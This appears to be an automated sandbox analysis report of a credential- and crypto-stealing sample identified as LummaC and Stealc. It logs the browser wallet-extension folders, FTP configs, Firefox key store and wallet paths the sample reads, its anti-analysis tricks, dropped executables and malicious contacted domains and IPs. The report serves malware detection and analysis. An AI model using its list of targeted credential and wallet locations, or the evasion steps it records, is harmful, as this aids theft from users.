Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BJZFPPWAPT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\EFOYFBOLXA Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LSBIHQFDVT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\NEBFQQYWPS Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWCCAWLGRE Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\SUAVTZKNFL Jump to behavior
Yara detected Credential Stealer
Source: Yara match File source: 00000000.00000003.2227913315.0000000000B8A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2185153441.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2227693776.0000000000B85000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2212713224.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2197662710.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2226397549.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2184146006.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2200551124.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2212770772.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2184078982.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2197538360.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2197338181.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2198294386.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.2226367127.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 1832, type: MEMORYSTR

Remote Access Functionality
barindex
Yara detected Credential Flusher
Source: Yara match File source: Process Memory Space: 2155b53b29.exe PID: 7104, type: MEMORYSTR
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: file.exe PID: 1832, type: MEMORYSTR
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Stealc
Source: Yara match File source: 35.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 35.0.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 4.2.5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe.bd0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 48.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 29.2.num.exe.710000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 30.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.de379087e7.exe.740000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000030.00000002.3148936409.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000030.00000003.3060062755.0000000004F50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2886563084.00000000005D7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2706765713.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2602104449.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000000.2683900761.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2811424197.0000000000741000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match File source: 00000030.00000002.3159738458.000000000125B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2448396958.00000000008EE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001D.00000002.2712170714.0000000000EAE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000003.2723464783.0000000005130000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000003.2561702732.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2448799973.0000000000BD1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000003.2385245260.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000000.2865797092.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: 0000001E.00000002.2813742267.000000000131B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2603348897.000000000142E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000023.00000002.2887571648.0000000000711000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe PID: 1208, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: de379087e7.exe PID: 4016, type: MEMORYSTR
Source: Yara match File source: C:\Users\user\AppData\Local\Temp\1001161001\num.exe, type: DROPPED
Source: Yara match File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\num[1].exe, type: DROPPED
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1541054 Sample: file.exe Startdate: 24/10/2024 Architecture: WINDOWS Score: 100 105 studennotediw.store 2->105 107 steamcommunity.com 2->107 109 31 other IPs or domains 2->109 127 Suricata IDS alerts for network traffic 2->127 129 Found malware configuration 2->129 131 Antivirus detection for dropped file 2->131 133 17 other signatures 2->133 11 file.exe 3 2->11         started        16 dbec6bb1cf.exe 2->16         started        18 skotes.exe 2->18         started        20 7 other processes 2->20 signatures3 process4 dnsIp5 113 sergei-esenin.com 104.21.53.8, 443, 49712, 49713 CLOUDFLARENETUS United States 11->113 115 steamcommunity.com 104.102.49.254, 443, 49710, 49877 AKAMAI-ASUS United States 11->115 117 185.215.113.16, 49756, 49854, 49887 WHOLESALECONNECTIONSNL Portugal 11->117 99 C:\Users\user\...\A77BGJTTW6SX9ESX.exe, PE32 11->99 dropped 101 C:\...\5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe, PE32 11->101 dropped 103 C:\Users\...\0KH83O2UU7K66U0BZXMNJ98MCWGN.exe, PE32 11->103 dropped 183 Query firmware table information (likely to detect VMs) 11->183 185 Found many strings related to Crypto-Wallets (likely being stolen) 11->185 187 Tries to harvest and steal ftp login credentials 11->187 197 5 other signatures 11->197 22 0KH83O2UU7K66U0BZXMNJ98MCWGN.exe 4 11->22         started        26 A77BGJTTW6SX9ESX.exe 9 1 11->26         started        28 5W1AC1ZFPRKV0I9AGW06FSBEQAM2XC.exe 13 11->28         started        189 Hides threads from debuggers 16->189 191 Tries to detect sandboxes / dynamic malware analysis system (registry check) 16->191 193 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 16->193 195 Excessive usage of taskkill to terminate processes 20->195 31 firefox.exe 20->31         started        33 firefox.exe 20->33         started        35 taskkill.exe 20->35         started        37 4 other processes 20->37 file6 signatures7 process8 dnsIp9 89 C:\Users\user\AppData\Local\...\skotes.exe, PE32 22->89 dropped 135 Antivirus detection for dropped file 22->135 137 Detected unpacking (changes PE section rights) 22->137 139 Machine Learning detection for dropped file 22->139 141 Tries to detect process monitoring tools (Task Manager, Process Explorer etc.) 22->141 39 skotes.exe 4 25 22->39         started        143 Modifies windows update settings 26->143 145 Disables Windows Defender Tamper protection 26->145 147 Tries to evade debugger and weak emulator (self modifying code) 26->147 155 3 other signatures 26->155 119 185.215.113.37, 49831, 49918, 80 WHOLESALECONNECTIONSNL Portugal 28->119 149 Multi AV Scanner detection for dropped file 28->149 151 Hides threads from debuggers 28->151 153 Tries to detect sandboxes / dynamic malware analysis system (registry check) 28->153 121 youtube.com 142.250.186.174 GOOGLEUS United States 31->121 123 prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 GOOGLEUS United States 31->123 125 5 other IPs or domains 31->125 44 firefox.exe 31->44         started        46 firefox.exe 31->46         started        48 firefox.exe 33->48         started        50 conhost.exe 35->50         started        52 conhost.exe 37->52         started        54 conhost.exe 37->54         started        56 conhost.exe 37->56         started        58 conhost.exe 37->58         started        file10 signatures11 process12 dnsIp13 111 185.215.113.43, 49832, 49848, 49881 WHOLESALECONNECTIONSNL Portugal 39->111 91 C:\Users\user\AppData\Local\Temp\...\num.exe, PE32 39->91 dropped 93 C:\Users\user\AppData\...\2155b53b29.exe, PE32 39->93 dropped 95 C:\Users\user\AppData\...\de379087e7.exe, PE32 39->95 dropped 97 5 other malicious files 39->97 dropped 157 Antivirus detection for dropped file 39->157 159 Detected unpacking (changes PE section rights) 39->159 161 Machine Learning detection for dropped file 39->161 163 6 other signatures 39->163 60 de379087e7.exe 39->60         started        63 dbec6bb1cf.exe 39->63         started        65 2155b53b29.exe 39->65         started        67 num.exe 39->67         started        69 firefox.exe 48->69         started        file14 signatures15 process16 signatures17 165 Antivirus detection for dropped file 60->165 167 Multi AV Scanner detection for dropped file 60->167 169 Detected unpacking (changes PE section rights) 60->169 181 3 other signatures 60->181 171 Machine Learning detection for dropped file 63->171 173 Tries to evade debugger and weak emulator (self modifying code) 63->173 175 Hides threads from debuggers 63->175 177 Binary is likely a compiled AutoIt script file 65->177 179 Excessive usage of taskkill to terminate processes 65->179 71 taskkill.exe 65->71         started        73 taskkill.exe 65->73         started        75 taskkill.exe 65->75         started        77 3 other processes 65->77 process18 process19 79 conhost.exe 71->79         started        81 conhost.exe 73->81         started        83 conhost.exe 75->83         started        85 conhost.exe 77->85         started        87 conhost.exe 77->87         started       
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
104.21.53.8
 sergei-esenin.com United States
13335 CLOUDFLARENETUS true
185.215.113.43
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
185.215.113.37
 unknown Portugal
206894 WHOLESALECONNECTIONSNL true
142.250.186.174
 youtube.com United States
15169 GOOGLEUS false
185.215.113.16
 unknown Portugal
206894 WHOLESALECONNECTIONSNL false
34.107.221.82
 prod.detectportal.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
35.244.181.201
 prod.balrog.prod.cloudops.mozgcp.net United States
15169 GOOGLEUS false
34.117.188.166
 contile.services.mozilla.com United States
139070 GOOGLE-AS-APGoogleAsiaPacificPteLtdSG false
104.102.49.254
 steamcommunity.com United States
16625 AKAMAI-ASUS true
35.190.72.216
 prod.classify-client.prod.webservices.mozgcp.net United States
15169 GOOGLEUS false
34.160.144.191
 prod.content-signature-chains.prod.webservices.mozgcp.net United States
2686 ATGS-MMD-ASUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
example.org 93.184.215.14 true
prod.classify-client.prod.webservices.mozgcp.net 35.190.72.216 true
prod.balrog.prod.cloudops.mozgcp.net 35.244.181.201 true
prod.detectportal.prod.cloudops.mozgcp.net 34.107.221.82 true
services.addons.mozilla.org 151.101.1.91 true
sergei-esenin.com 104.21.53.8 true
contile.services.mozilla.com 34.117.188.166 true
youtube.com 142.250.186.174 true
prod.content-signature-chains.prod.webservices.mozgcp.net 34.160.144.191 true
steamcommunity.com 104.102.49.254 true
us-west1.prod.sumo.prod.webservices.mozgcp.net 34.149.128.2 true
ipv4only.arpa 192.0.0.171 true
prod.ads.prod.webservices.mozgcp.net 34.117.188.166 true
normandy-cdn.services.mozilla.com 35.201.103.21 true
spirittunek.store unknown unknown
spocs.getpocket.com unknown unknown
licendfilteo.site unknown unknown
content-signature-2.cdn.mozilla.net unknown unknown
support.mozilla.org unknown unknown
eaglepawnoy.store unknown unknown
bathdoomgaz.store unknown unknown
detectportal.firefox.com unknown unknown
studennotediw.store unknown unknown
mobbipenju.store unknown unknown
normandy.cdn.mozilla.net unknown unknown
shavar.services.mozilla.com unknown unknown
clearancek.site unknown unknown
dissapoiznw.store unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
dissapoiznw.store true
    		unknown
    https://steamcommunity.com/profiles/76561199724331900 true
      		unknown